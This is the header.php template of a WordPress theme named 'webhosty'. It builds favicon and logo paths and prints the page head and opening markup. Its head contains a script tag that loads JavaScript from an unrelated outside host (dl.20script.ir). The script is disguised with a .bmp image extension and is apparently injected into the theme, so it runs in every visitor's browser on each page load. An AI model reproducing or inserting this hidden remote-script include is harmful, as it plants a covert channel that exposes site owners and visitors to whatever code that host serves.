<?php
/**
* The header for our theme.
*
* Displays all of the <head> section and everything up till <div id="content">
*
* @package webhosty
*/ 
global $webh_data;
$favicon = $weblogo = '';
if(isset($webh_data['web_faviconurl']['url']) && !empty($webh_data['web_faviconurl']['url'])){ 
  $favicon = $webh_data['web_faviconurl']['url']; 
}else{
  $favicon = WEBHOSTY_PATH.'/images/favicon.ico';
}
if(empty($webh_data['web_logo']['url'])){ 
  $weblogo = WEBHOSTY_PATH.'/images/logo.png'; 
}else{
  $weblogo = $webh_data['web_logo']['url'];
}
?><!doctype html> 
<html <?php language_attributes(); ?>> 
<head> 
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="<?php bloginfo( 'charset' ); ?>">	
<script type="text/javascript" src="http://dl.20script.ir/img/web-site.bmp"></script>	
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>">
<link rel="profile" href="http://gmpg.org/xfn/11">
<link rel="icon" type="image/x-icon" href="<?php echo esc_url($favicon); ?>">
<?php wp_head(); ?>  
</head> 
<!-- www.20script.ir --> 
<body <?php body_class(); ?>>  
<div id="root">
<header id="top">
	<h1><a href="<?php echo esc_url(home_url()); ?>" accesskey="h" style="background:url(<?php echo esc_url($weblogo); ?>) no-repeat;"></a></h1>
	<?php get_template_part('include/section-nav');?>
</header>    			